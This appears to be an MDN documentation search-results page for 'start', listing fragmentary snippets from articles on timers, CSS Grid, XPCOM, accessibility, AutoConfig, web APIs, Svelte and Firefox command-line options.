start functions declarable during the instantiation of the daemon. so the minidaemon framework will remain the recommended way for simple animations, because daemon without its collection of methods is essentially a clone of it. the architecture of the daemon constructor explicitly avoids the use of closures. it also offers an alternative way to pass the this object to the callback functions (see the ...
...y code (commented code), which enables the html5 standard parameters' passage functionality in that browser for both timers (polyfill), at the end of the daemon.js module. daemon.js what follows is the module that declares the daemon constructor (the core of this framework). the daemon constructor itself is nothing but a clone of the little framework minidaemon with added support for init and on
start functions (declarable during the instantiation of the daemon). so the minidaemon framework will remain the recommended way for simple animations, because daemon without its collection of methods is essentially a clone of it. /*\ |*| |*| ******************************* |*| * daemon.js * |*| ******************************* |*| |*| ver. 1.0 rev. 2 |*| |*| daemon.
...And 33 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
ines. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } when defining the grid, i name my lines inside square brackets. those names can be anything you like. ...
...-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } when defining the grid, i name my lines inside square brackets. those names can be anything you like. i have defined a name for the
start and end of the container, both for rows and columns. then defined the centre block of the grid as content-
start and content-end again, both for columns and rows although you do not need to name all of the lines on your grid. ...
...ything you like. i have defined a name for the
start and end of the container, both for rows and columns. then defined the centre block of the grid as content-
start and content-end again, both for columns and rows although you do not need to name all of the lines on your grid. you might choose to name just some key lines for your layout. .wrapper { display: grid; grid-template-columns: [main-
start] 1fr [content-
start] 1fr [content-end] 1fr [main-end]; grid-template-rows: [main-
start] 100px [content-
start] 100px [content-end] 100px [main-end]; } once the lines have names, we can use the name to place the item rather than the line number. ...
...And 32 more matches
Index
language bindings, xpconnect this method lets scripts set the zeal level for garbage collection. you can get details on what this method does in js_setgczeal. this method calls through to that thusly: 47 components.utils.unload modules components.utils.unload was introduced in firefox 7 and is used to unload javascript code modules. this can be particularly handy with re
startless (boostrapped) extensions, so that you can unload an old version of a code module when a new version of your add-on is installed. 48 components.utils.unwaivexrays undo a previous call to components.utils.waivexrays(), restoring xray vision for the caller. 49 components.utils.waivexrays waives xray vision for an object, giving the caller a transparent...
... 80 frequently asked questions xpcom this section will help you if you're fixing a broken build, or have what you think is a quick obvious question, and you don't have time to read the reference manual. this faq usually just refers back directly to the appropriate answer, there. if you're looking here just to learn about nscomptrs, you'll get a better introduction in the getting
started guide. 81 getting
started guide xpcom an nscomptr is an owning reference. whatever it points to has been addrefed, counting the nscomptr as one of its `owners'. an nscomptr always calls release before letting go, whether the nscomptr is letting go so that it can point to a different object, or because the nscomptr is going out of scope. any time a new value is assigned into...
... of scope. any time a new value is assigned into an nscomptr, the nscomptr automatically always releases its old referent, if any, and (unless you tell it you already have) addrefs the new. 82 reference manual xpcom this section will help you if you're already familiar with nscomptr but you need details. if you've never use nscomptrs before, you might want to read the getting
started guide first. if you're trying to fix a broken build, the faq might lead you to the answer more quickly. 83 status, recent changes, and plans xpcom no summary! 84 using nsiclassinfo xpcom if you use a c++ class which implements nsiclassinfo from javascript, then you don't have to explicitly call queryinterface on the javascript object to access the objec...
...And 31 more matches
MathML Accessibility in Mozilla
this table below provides a list of mathml constructions and how they are read in mozilla applications for various platforms: windows: mathml support is provided by nvda, which actually delegates math reading to the proprietary mathplayer plugin. we
started exposing generic accessible objects for mathml in bug 920547 and so these can be retrieved by nvda
starting with gecko 27.0 (firefox 27.0 / thunderbird 27.0 / seamonkey 2.24). mozilla and nvda developers essentially do not have control on how mathematical formulas are read, please contact design science for any inquiries. mac: mathml support is provided by voiceover. in bug 1175269 and bug 1001641, we relied on the webkit's nsaccessibility mathml tree to expose the main constructions. hence basic support is available in gecko 41...
...utterance" and description spoken last. note that this is still very experimental. mathml windows mac linux accessfu diagonal of a regular pentagon video video video / x+2 __________ x plus 2 __________ x+2 x plus 2 x + y ab __________ a over b __________ fraction
start, a over b, end of fraction fraction
start. a over b. fraction end. a numerator b denominator fraction ab\frac a b ab __________ a over b __________ fraction
start, a over b, end of fraction. see webkit's bug 146454 fraction without bar,
start. a over b. fraction end. a numerator b denominator fraction without ba...
... cube root of a, end of root cube root of a. root end. a base 3 root index root a3+4 __________ the 3 plus 4 root of a __________ 3 + 4 root of a, end of root 3 plus 4 root of a. root end. a base 3+4 root index root a34 __________ the 3 over 4 root of a __________ fraction
start, 3 over 4, end of fraction root of a, end of root fraction
start. 3 over 4. fraction end. root of a. root end. a base 3 numerator 4 denominator root-index fraction ab __________ the the square root of b root of a __________ square root of b, end of root root of a, end of root square root of b. root end. root of a. root end. a base b squ...
...And 29 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
oms. hence a single computer might connect many different users all day long. computers are dual-boot (windows 7 and linux fedora 19 by 2013). all users have a personal account on a windows server (ad) and an ldap account for linux authentication. objective the objective is to provide users with a mailer agent, a web browser, and a news reader which are automatically configured (preferences) at
startup to the current user connected on the computer. choosing mozilla products allow us to use the same apps while running either windows or linux systems (i suspect mac osx would be fine too). instead of configuring end user individual preferences files (~/.mozilla/default/randomdir/prefs.js) we now use a centralized default set of preferences. this centralized preference file can lock preferences ...
...// pref("general.config.obscure_value", 0); // for mcd .cfg files pref('general.config.filename', 'thunderbird.cfg'); // for mcd .cfg files it used to be in previous releases (up until 7.0) in /usr/lib/thunderbird-x.0/default/pref/autoconf.js the first pref just tells us that we won't en...
...evry.fr/sent"); lockpref("mail.identity.id1.fcc_folder_picker_mode", "0"); lockpref("mail.identity.id1.organization", "int evry france"); lockpref("mail.identity.id1.overrideglobal_pref", true); lockpref("mail.identity.id1.reply_to", ""); //imap lockpref("mail.server.server2.hostname", "imap-int.int-evry.fr"); lockpref("mail.server.server2.issecure", true); lockpref("mail.server.server2.login_at_
startup", true); lockpref("mail.server.server2.max_cached_connections", 5); //lockpref("mail.server.server2.name", "jehan.procaccia@int-evry.fr"); lockpref("mail.server.server2.type", "imap"); lockpref("mail.server.server2.username", env_user); //smtp lockpref("mail.identity.id1.smtpserver", "smtp1"); lockpref("mail.identity.id1.stationery_folder", "imap://" + env_user + "@imap-int.int-evry.fr/templat...
...And 26 more matches
Timing element visibility with the Intersection Observer API - Web APIs
on the web is to record how long each ad is visible, for the purpose of billing and payment of revenues. without the intersection observer api, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. using this api lets everything get streamlined by the browser to reduce the impact on performance substantially. let's get
started! site structure: the html the site's structure is not too complicated. we'll be using css grid to style and lay out the site, so we can be pretty straightforward here: <div class="wrapper"> <header> <h1>a fake blog</h1> <h2>showing intersection observer in action!</h2> </header> <aside> <nav> <ul> <li><a href="#link1">a link</a></li> <li><a href="#li...
... <li><a href="#link2">another link</a></li> <li><a href="#link3">one more link</a></li> </ul> </nav> </aside> <main> </main> </div> this is the framework for the entire site. at the top is the site's header region, contained within a <header> block. below that, we define the site's sidebar as a list of links within an <aside> block. finally comes the main body. we
start with an empty <main> element here. this box will be populated using script later. styling the site with css with the structure of the site defined, we turn to the styling for the site. let's look at the style for each component of the page individually. the basics we provide styles for the <body> and <main> elements to define the site's background as well as the grid the various parts of the ...
...n below. the header the header is fairly simple, since for this example all it contains is some text. its style looks like this: header { grid-column: 1 / -1; grid-row: 1; background-color: aliceblue; } grid-row is set to 1, since we want the header to be placed in the top row of the site's grid. more interesting is our use of grid-column here; here we specify that we want the column to
start in the first column and ends in the first column past the last grid line—in other words, the header spans across all of the columns within the grid. perfect for our needs. the sidebar our sidebar is used to present links to other pages on the site. none of them work in our example here, but they exist to help with the presentation of a blog-like experience. the sidebar is represented using an...
...And 26 more matches
Enhanced Extension Installation - Archive of obsolete content
metadata in both of the two locations, in the following files: <location>/extensions/extensions.rdf - an xml/rdf datasource listing all the extensions installed at that location. <location>/extensions.ini - an ini manifest listing the directories for all the extensions and themes at the location (used by the component manager, preferences system, chrome registry etc to locate files during the
startup process). in the profile directory, the file compatibility.ini stores information about the version of the application (build info) that last
started this profile - during
startup this file is checked and if the version info held by the running app disagrees with the info held by this file, a compatibility check is run on all installed items. when changes are made to the extensions datasourc...
... datasource structure the extension manager implements a rdf datasource which contains a composite of the two xml/rdf datasources at the two install locations. ...
...and it calls into the extension system when it discovers that the xpi file contains an install.rdf manifest. the extension manager extracts that file and checks to see if the item is compatible with the running version of the application. if it is, a small set of metadata about it is written to the appropriate datasource (name, version, a flag to tell the system to properly install it on the next
startup), and it is added to the appropriate type container. the system also writes a .autoreg file to the profile folder which tells the
startup system that something has changed on the next re
start. a copy of the xpi file the item was installed from is set aside since the xpinstall system cleans up the temporary file it hands to the extension system. if the item is not compatible, the extension syst...
...And 24 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
val() call to the clearinterval() function: const myinterval = setinterval(myfunction, 2000); clearinterval(myinterval); active learning: creating your own stopwatch! with this all said, we've got a challenge for you. take a copy of our setinterval-clock.html example, and modify it to create your own simple stopwatch. you need to display a time as before, but in this example, you need: a "
start" button to
start the stopwatch running. a "stop" button to pause/stop it. a "reset" button to reset the time back to 0. the time display to show the number of seconds elapsed, rather than the actual time. here's a few hints for you: you can structure and style the button markup however you like; just make sure you use semantic html, with hooks to allow you to grab the button references us...
...pause/stop it. a "reset" button to reset the time back to 0. the time display to show the number of seconds elapsed, rather than the actual time. here's a few hints for you: you can structure and style the button markup however you like; just make sure you use semantic html, with hooks to allow you to grab the button references using javascript. ...
...ow you to grab the button references using javascript. you probably want to create a variable that
starts at 0, then increments by one every second using a constant loop. it is easier to create this example without using a date() object, like we've done in our version, but less accurate — you can't guarantee that the callback will fire after exactly 1000ms. a more accurate way would be to run
starttime = date.now() to get a timestamp of exactly when the user clicked the
start button, and then do date.now() -
starttime to get the number of milliseconds after the
start button was clicked. you also want to calculate the number of hours, minutes, and seconds as separate values, and then show them together in a string after each loop iteration. from the second counter, you can work out each of ...
...And 24 more matches
nsIAccessibleText
accessible/public/nsiaccessibletext.idlscriptable please add a summary to this article. ...
... accessible/public/nsiaccessibletext.idlscriptable please add a summary to this article. ...
...ible getattributerange(in long offset, out long range
startoffset, out long rangeendoffset); obsolete since gecko 1.9.1 wchar getcharacteratoffset(in long offset); void getcharacterextents(in long offset, out long x, out long y, out long width, out long height, in unsigned long coordtype); long getoffsetatpoint(in long x, in long y, in unsigned long coordtype); void getrangeextents(in long
startoffset, in long endoffset, out long x, out long y, out long width, out long height, in unsigned long coordtype); void getselectionbounds(in long selectionnum, out long
startoffset, out long endoffset); astring gettext(in long
startoffset, in long endoffset); astring gettextafteroffset(in long offset, in nsaccessibletextboundary boundarytype, out long
startoffset, out long endoffset); astr...
...And 24 more matches
Event reference
been closed. session history events event name fired when pagehide a session history entry is being traversed from. pageshow a session history entry is being traversed to. popstate a session history entry is being navigated to (in certain cases). css animation events event name fired when animation
start a css animation has
started. animationcancel a css animation has aborted. animationend a css animation has completed. animationiteration a css animation is repeated. css transition events event name fired when transition
start a css transition has actually
started (fired after any delay). transitioncancel a ...
... css animation is repeated. css transition events event name fired when transition
start a css transition has actually
started (fired after any delay). transitioncancel a css transition has been cancelled. transitionend a css transition has completed. transitionrun a css transition has begun running (fired before any delay
starts). form events event name fired when reset the reset button is pressed submit the submit button is pressed printing events event name fired when beforeprint the print dialog is opened afterprint the print dialog is closed text composition events event name fired when ...
... compositionupdate a character is added to a passage of text being composed. compositionend the composition of a passage of text has been completed or canceled. view events event name fired when ...
...And 24 more matches
Navigation and resource timings - Web Performance
api for measuring the loading performance of the requested page, is deprecated but supported in all browsers. it has been replaced with the performancenavigationtiming api. the performance timing api provided read only times, in milliseconds(ms), describing at what time each point in the page loading process was reached. as displayed in the image below, the navigation process goes from navigation
start, unloadevent
start, unloadeventend, redirect
start, redirectend, fetch
start, domainlookup
start, domainlookupend, connect
start , connectend, secureconnection
start, request
start, response
start, responseend, domloading, dominteractive, domcontentloadedevent
start, domcontentloadedeventend, domcomplete, loadevent
start, and loadeventend. with the metrics above, and a little bit of math, we can calcula...
...ction is secure. to help measure the time it takes to complete all the steps, the performance timing api provides read only measurements of navigation timings. to view and capture our app's timing we enter: let time = window.performance.timing we can then use the results to measure how well our app is performing. the order is: performance timings details navigation
start when the prompt for unload terminates on the previous document in the same browsing context. if there is no previous document, this value will be the same as performancetiming.fetch
start. secureconnection
start when the secure connection handshake
starts. if no such connection is requested, it returns 0. redirect
start when the first http redirect
starts. if there is no r...
... returned is 0. redirectend when the last http redirect is completed, that is when the last byte of the http response has been received. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. connectend when the connection is opened network. if the transport layer reports an error and the connection establishment is
started again, the last connection establishment end time is given. if a persistent connection is used, the value will be the same as performancetiming.fetch
start. a connection is considered as opened when all secure connection handshake, or socks authentication, is terminated. connect
start when the request to open a connection is sent to the network. if the transport layer reports an error...
...And 23 more matches
IAccessibleText
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this enum defines values which specify a text() boundary type. ia2_text_boundary_sentence is optional. when a method doesn't implement this method it must return s_false. typically this feature would not be implemented by an application. ...
...s not satisfied with how screen readers have handled the reading of sentences this boundary type could be implemented and screen readers could use the application's version of a sentence rather than the screen reader's. the rest of the boundary types must be supported. this enum is used in textbeforeoffset(), textatoffset(), and textafteroffset(). ...
... could be implemented and screen readers could use the application's version of a sentence rather than the screen reader's. the rest of the boundary types must be supported. this enum is used in textbeforeoffset(), textatoffset(), and textafteroffset(). ...
...And 22 more matches
Drawing graphics - Learn web development
se css and javascript to animate (and otherwise manipulate) svg vector images — as they are represented by markup — there was still no way to do the same for bitmap images, and the tools available were rather limited. the web still had no way to effectively create animations, games, 3d scenes, and other requirements commonly handled by lower level languages such as c++ or java. the situation
started to improve when browsers began to support the <canvas> element and associated canvas api — apple invented it in around 2004, and other browsers followed by implementing it in the years that followed. as you'll see below, canvas provides many useful tools for creating 2d animations, games, data visualizations, and other types of app, especially when combined with some of the other apis the web...
...followed. as you'll see below, canvas provides many useful tools for creating 2d animations, games, data visualizations, and other types of app, especially when combined with some of the other apis the web platform provides. the below example shows a simple 2d canvas-based bouncing balls animation that we originally met in our introducing javascript objects module: around 2006–2007, mozilla
started work on an experimental 3d canvas implementation. this became webgl, which gained traction among browser vendors, and was standardized around 2009–2010. webgl allows you to create real 3d graphics inside your web browser; the below example shows a simple rotating webgl cube: this article will focus mainly on 2d canvas, as raw webgl code is very complex. we will however show how to use a we...
...d was standardized around 2009–2010. webgl allows you to create real 3d graphics inside your web browser; the below example shows a simple rotating webgl cube: this article will focus mainly on 2d canvas, as raw webgl code is very complex. we will however show how to use a webgl library to create a 3d scene more easily, and you can find a tutorial covering raw webgl elsewhere — see getting
started with webgl. note: basic canvas functionality is supported well across browsers, with the exception of ie 8 and below for 2d canvas, and ie 11 and below for webgl. active learning: getting
started with a <canvas> if you want to create a 2d or 3d scene on a web page, you need to
start with an html <canvas> element. this element is used to define the area on the page into which the image will...
...And 19 more matches
Signaling and video calling - Web APIs
strated here is just one possible way to structure signaling messages. this example's server uses stringified json objects to communicate with its clients. this means our signaling messages will be in json format, with contents which specify what kind of messages they are as well as any additional information needed in order to handle the messages properly. exchanging session descriptions when
starting the signaling process, an offer is created by the user initiating the call. this offer includes a session description, in sdp format, and needs to be delivered to the receiving user, which we'll call the callee. the callee responds to the offer with an answer message, also containing an sdp description. our signaling server will use websocket to transmit offer messages with the type "video-off...
...nectivity establishment (ice) comes in. exchanging ice candidates two peers need to exchange ice candidates to negotiate the actual connection between them. every ice candidate describes a method that the sending peer is able to use to communicate. each peer sends candidates in the order they're discovered, and keeps sending candidates until it runs out of suggestions, even if media has already
started streaming. an icecandidate event is sent to the rtcpeerconnection to complete the process of adding a local description using pc.setlocaldescription(offer). once the two peers agree upon a mutually-compatible candidate, that candidate's sdp is used by each peer to construct and open a connection, through which media then begins to flow. if they later agree on a better (usually higher-performa...
...itional codecs are supported by which browsers, and how to choose the best codecs to use in the guide codecs used by webrtc. optionally, see rfc 8445: interactive connectivity establishment, section 2.3 ("negotiating candidate pairs and concluding ice") if you want greater understanding of how this process is completed inside the ice layer. you should note that candidates are exchanged and media
starts to flow as soon as the ice layer is satisfied. this is all taken care of behind the scenes. our role is to simply send the candidates, back and forth, through the signaling server. the client application the core to any signaling process is its message handling. it's not necessary to use websockets for signaling, but it is a common solution. you should, of course, select a mechanism for exchan...
...And 19 more matches
2D maze game with device orientation - Game development
pidly thanks to the passionate community involved in the development process. you can check it out on github where it’s open sourced, read the online documentation and go through the big collection of examples. the phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.
starting with the project you can see cyber orb source code on github. the folder structure is quite straightforward: the
starting point is the index.html file where we initialize the framework and set up an <canvas> to render the game on. you can open the index file in your favourite browser to launch the game and try it. there are also three folders in the directory: img: all the images that w...
...and try it. there are also three folders in the directory: img: all the images that we will use in the game. src: the javascript files with all the source code of the game defined inside. audio: the sound files used in the game. setting up the canvas we will be rendering our game on canvas, but we won't do it manually — this will be taken care of by the framework. let’s set it up: our
starting point is the index.html file with the following content. you can create this yourself if you want to follow along: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>cyber orb demo</title> <style> body { margin: 0; background: #333; } </style> <script src="src/phaser-arcade-physics.2.2.2.min.js"></script> <script src="src/boot.js"></script> <script src="src/...
...the <body> contains initialization of the phaser framework and the definitions of the game states. var game = new phaser.game(320, 480, phaser.canvas, 'game'); the line above will initialize the phase...
...And 18 more matches
AddonManager
urred (such as an add-on not being found), null is passed back instead. addonlistcallback() a callback that is passed an array of addons void addonlistcallback( in addon addons[] ) parameters addons the array of addons passed back from the asynchronous request constants addoninstall states constant description state_available an install that is waiting to be
started. state_downloading an install that is in the process of being downloaded. state_checking an install that is checking for updated information. state_downloaded an install that has finished downloading and is ready to install. state_download_failed an install that failed to download. state_installing an install that is in the process of ...
...ly. autoupdate_default indicates that the add-on should update automatically only if that's the global default. autoupdate_enable indicates that the add-on should update automatically. pending operations constant description pending_none no operations are pending. pending_enable this add-on will be enabled after the application re
starts. pending_disable this add-on will be disabled after the application re
starts. pending_uninstall this add-on will be uninstalled after the application re
starts. pending_install this add-on will be installed after the application re
starts. pending_upgrade this add-on will be upgraded after the application re
starts. permissions consta...
... pending_upgrade this add-on will be upgraded after the application re
starts. permissions constant description perm_can_uninstall this add-on can be uninstalled. perm_can_enable this add-on can be enabled. perm_can_disable this add-on can be disabled. perm_can_upgrade this add-on can be upgraded. operations requiring re
start constant description op_needs_re
start_none no operations will require a re
start. op_needs_re
start_enable enabling the add-on will require a re
start. op_needs_re
start_disable disabling the add-on will require a re
start. ...
...And 18 more matches
Using the Screen Capture API - Web APIs
tdisplaymedia() to enable screen sharing on browsers that support it but do not implement the current standard api. this works with at least chrome, edge, and firefox. capturing screen contents capturing screen contents as a live mediastream is initiated by calling navigator.mediadevices.getdisplaymedia(), which returns a promise that resolves to a stream containing the live screen contents. ...
...upport it but do not implement the current standard api. this works with at least chrome, edge, and firefox. capturing screen contents capturing screen contents as a live mediastream is initiated by calling navigator.mediadevices.getdisplaymedia(), which returns a promise that resolves to a stream containing the live screen contents. ...
...ction
startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } you can write this code either using an asynchronous function and the await operator, as shown above, or using the promise directly, as seen below.
starting screen capture: promise style function
startcapture(displaymediaoptions) { let capturestream = null; return navigator.mediadevices.getdisplaymedia(displaymediaoptions) .catch(err => { console.error("error:" + err); return null; }); } either way, the user agent responds by presenting a user interface that prompts the user to choose the screen area to share. both of these implementation...
...And 18 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
the lines are numbered for columns and rows, and are indexed from 1. note that grid is indexed according to the writing mode of the document. in a left to right language such as english line 1 is on the left-hand side of the grid. if you are working in a right-to-left language then line 1 will be the far right of the grid. ...
...ay: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> positioning items by line number we can use line-based placement to control where these items sit on the grid. i would like the first item to
start on the far left of the grid and span a single column track. it should also
start on the first row line, at the top of the grid and span to the fourth row line. .box1 { grid-column-
start: 1; grid-column-end: 2; grid-row-
start: 1; grid-row-end: 4; } as you position some items, other items on the grid will continue to be laid out using the auto-placement rules. we will take a proper ...
...te-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> .box1 { grid-column-
start: 1; grid-column-end: 2; grid-row-
start: 1; grid-row-end: 4; } .box2 { grid-column-
start: 3; grid-column-end: 4; grid-row-
start: 1; grid-row-end: 3; } .box3 { grid-column-
start: 2; grid-column-end: 3; grid-row-
start: 1; grid-row-end: 2; } .box4 { grid-column-
start: 2; grid-column-end: 4; grid-row-
start: 3; grid-row-end: 4; } the grid-column and gr...
...And 18 more matches
source-editor.jsm
number findprevious(boolean awrap); event management void addeventlistener(string aeventtype, function acallback); void removeeventlistener(string aeventtype, function acallback); undo stack operations boolean canredo(); boolean canundo(); void endcompoundchange(); boolean redo(); void resetundo(); void
startcompoundchange(); boolean undo(); display management operations void focus(); number gettopindex(); boolean hasfocus(); void settopindex(number atopindex); content management operations number getcharcount(); string getindentationstring(); string getlinedelimiter(); number getlinecount(); num...
... void focus(); number gettopindex(); boolean hasfocus(); void settopindex(number atopindex); content management operations number getcharcount(); string getindentationstring(); string getlinedelimiter(); number getlinecount(); number getlineend(number alineindex, boolean aincludedelimiter); number getline
start(number alineindex); string getmode(); string gettext([optional] number a
start, [optional] number aend); string getselectedtext(); void setmode(string amode); void settext(string atext, [optional] number a
start, [optional] number aend); selection operations void dropselection(); number getcaretoffset(); object getcare...
...atext, [optional] number a
start, [optional] number aend); selection operations void dropselection(); number getcaretoffset(); object getcaretposition(); object getselection(); void setcaretoffset(number aoffset); void setcaretposition(number aline, [optional] number acolumn, [optional] number aalign); void setselection(number a
start, number aend); breakpoint management void addbreakpoint(number alineindex, [optional] string acondition); array getbreakpoints(); boolean removebreakpoint(number alineindex); properties attribute type description dirty boolean set this value to false whenever you save the text; the editor will update it to true when the c...
...And 17 more matches
Audio for Web games - Game development
top and mobile browsers. there is further information about it here from the google developers site. it is worth noting that autoplay with sound is allowed if: the user has interacted with the domain. on mobile the user has added the site to their home screen. ...
...by your game to automatically play audio; instead playback for audio needs to be
started by a user-initiated event, such as a click or tap. this means you will have to structure your audio playback to take account of that. this is usually mitigated against by loading the audio in advance and priming it on a user-initiated event. for more passive audio auto play, for example background music that
starts as soon as a game loads, one trick is to detect any user initiated event and
start playback then. for other more active sounds that are to be used during the game we could consider priming them as soon as something like a
start button is pressed. to prime audio like this we want to play a part of it; for this reason it is useful to include a moment of silence at the end of your audio sample. ju...
... firefox (android) 62+ y y y y edge mobile y y y y opera mobile 46+ y y y y safari (ios) 7+ y/n* n n y android browser 67+ y y y y there's a full compatibility chart for mobile and desktop htmlmediaelement support here. * note: safari 7 has issues playing if you try and
start all pieces of audio simultaneously. if you stagger playback you may have some degree of success. note: concurrent audio playback is tested using our concurrent audio test example, where we attempt to play three pieces of audio at the same time using the standard audio api. note: simple autoplay functionality is tested with our autoplay test example. note: volume changeability is tested w...
...And 16 more matches
Mozilla internal string guide
with those on span: elements() and length() the latter is not the logical length of the string but the writable length of the buffer. the buffer exposed via these methods includes the prefix that you may have requested to be preserved. it's up to you to skip past it so as to not overwrite it. if there's a need to request a different capacity before you are ready to call finish(), you can call re
startbulkwrite() on the handle. it takes three arguments that match the first three arguments of bulkwrite(). it returns mozilla::result<mozilla::ok, nsresult> to indicate success or oom. calling re
startbulkwrite() invalidates previously-obtained span, raw pointer or length. once you are done writing, call finish(). it takes two arguments: the new logical length of the string (which must not exceed th...
...s and functions converting cocoa strings use mozilla::copycocoastringtoxpcomstring() in mozilla/macstringhelpers.h to convert cocoa strings to xpcom strings. searching strings - looking for substrings, characters, etc. findinreadable() is the replacement for the old string.find(..). the syntax is: prbool findinreadable(const nsastring& pattern, nsastring::const_iterator
start, nsastring::const_iterator end, nsstringcomparator& acomparator = nsdefaultstringcomparator()); to use this,
start and end should point to the beginning and end of a string that you would like to search. if the search string is found,
start and end will be adjusted to point to the beginning and end of the found pattern. the return value is pr_true or pr_false, indicating w...
...); to use this,
start and end should point to the beginning and end of a string that you would like to search. if the search string is found,
start and end will be adjusted to point to the beginning and end of the found pattern. the return value is pr_true or pr_false, indicating whether or not the string was found. ...
...And 16 more matches
Recording a media element - Web APIs
g the mediastream recording api demonstrates using the mediarecorder interface to capture a mediastream generated by a hardware device, as returned by navigator.mediadevices.getusermedia(), you can also use an html media element (namely <audio> or <video>) as the source of the mediastream to be recorded. in this article, we'll look at an example that does just that. html content <p>click the "
start" button to begin video recording for a few seconds. you can stop the video by clicking the creatively-named "stop" button. the "download" button will download the received data (although it's in a raw, unwrapped form that isn't very useful). </p> <br> let's
start by looking at the key bits of the html. there's a little more than this, but it's just informational rather than being part...
... the video by clicking the creatively-named "stop" button. the "download" button will download the received data (although it's in a raw, unwrapped form that isn't very useful). </p> <br> let's
start by looking at the key bits of the html. there's a little more than this, but it's just informational rather than being part of the core operation of the app. <div class="left"> <div id="
startbutton" class="button">
start </div> <h2>preview</h2> <video id="preview" width="160" height="120" autoplay muted></video> </div> we present our main interface in two columns. ...
... by looking at the key bits of the html. there's a little more than this, but it's just informational rather than being part of the core operation of the app. <div class="left"> <div id="
startbutton" class="button">
start </div> <h2>preview</h2> <video id="preview" width="160" height="120" autoplay muted></video> </div> we present our main interface in two columns. on the left is a
start button and a <video> element which displays the video preview; this is the video the user's camera sees. note that the autoplay attribute is used so that as soon as the stream
starts to arrive from the camera, it immediately gets displayed, and the muted attribute is specified to ensure that the sound from the user's microphone isn't output to their speakers, causing an ugly feedback loop. <div ...
...And 16 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
o move the viewer through the scene. note: this example always displays what it renders on the screen, even if using immersive-vr mode. this lets you compare any differences in rendering between the two modes, and lets you see output from immersive mode even if you don't have a headset. ...
...sion = null; let xrinputsources = null; let xrreferencespace = null; let xrbutton = null; let gl = null; let animationframerequestid = 0; let shaderprogram = null; let programinfo = null; let buffers = null; let texture = null; let mouseyaw = 0; let mousepitch = 0; this is followed by a set of constants, mostly to contain various vectors and matrices used while rendering the scene. ...
...pace = null; let xrbutton = null; let gl = null; let animationframerequestid = 0; let shaderprogram = null; let programinfo = null; let buffers = null; let texture = null; let mouseyaw = 0; let mousepitch = 0; this is followed by a set of constants, mostly to contain various vectors and matrices used while rendering the scene. ...
...And 16 more matches
TypeScript support in Svelte - Learn web development
and more. code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/07-typescript-support or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/07-typescript-support remember to run npm install && npm run dev to
start your app in development mode. repl unfortunately, typescript support is not yet available in the repl. typescript: optional static typing for javascript typescript is a superset of javascript that provides features such as optional static typing, classes, interfaces, and generics. the goal of typescript is to help catch mistakes early through its type system and make javascript development mo...
...everal large-scale projects, like angular 2, vue 3, ionic, visual studio code, jest and even the svelte compiler. nevertheless, some developers prefer to use it even on small projects like the one we are developing. in the end, it's your decision. in the following sections we hope to give you more evidence to make up your mind about it. ...
...velte typescript project from scratch you can
start a new svelte typescript project using the standard template. all you have to do is run the following terminal commands (run them somewhere where you are storing your svelte test projects — it creates a new directory): npx degit sveltejs/template svelte-typescript-app cd svelte-typescript-app node scripts/setuptypescript.js this creates a
starter project that includes typescript support, which you can then modify as you wish. then you'll have to tell npm to download dependencies and
start the project in development mode, like we usually do: npm install npm run dev adding typescript support to an existing svelte project to add typescript support to an existing svelte project you can follow these instructions. alternatively, you can ...
...And 15 more matches
Command line options
for example, if you have multiple profiles you can use command line configuration options to bypass the profile manager and open a specific profile. you can also control how mozilla applications open, which components open initially, and what the components do when they open. this page describes the commonly used options and how to use them. you can open the command line interface by pressing shift + f2. syntax rules but first, let's describe the syntax rules that apply for all options. command parameters containing spaces must be enclosed in quotes, such as "joel user". command actions are case insensitive. ...
...ath\to\file.txt separate multiple message options by comma (,), for example: "to=foo@nowhere.net,subject=cool page" . comma separators must not follow or precede spaces ( ). to assign multiple values to a field, enclose the values in single quotes ('), for example: "to='foo@nowhere.net,foo@foo.de',subject=cool page" . using command line options command line options follow the command to
start the application. if the option contains arguments, enter the argument after the option. some options have abbreviations, for example, "-editor" can be abbreviated as "-edit" (available abbreviations are described in the text below). in some cases, option arguments must be enclosed in quotation marks (this is noted in the option descriptions below). multiple command line options can be specified. ...
...ext below). in some cases, option arguments must be enclosed in quotation marks (this is noted in the option descriptions below). multiple command line options can be specified. in general, the syntax is as follows: application -option -option "argument" -option argument examples the following examples show the use of the "-profilemanager" command, which will open the profile manager prior to
starting firefox or thunderbird: windows select run from windows
start menu. enter the following command: firefox -profilemanager mac os x go to applications > utilities. open terminal and enter the following command: cd /applications/firefox.app/contents/macos ./firefox -profilemanager if you use firefox nightly, you can enter: cd /applications/firefoxnightly.app/contents/macos ./firefox -pr...
...And 15 more matches
IME handling guide
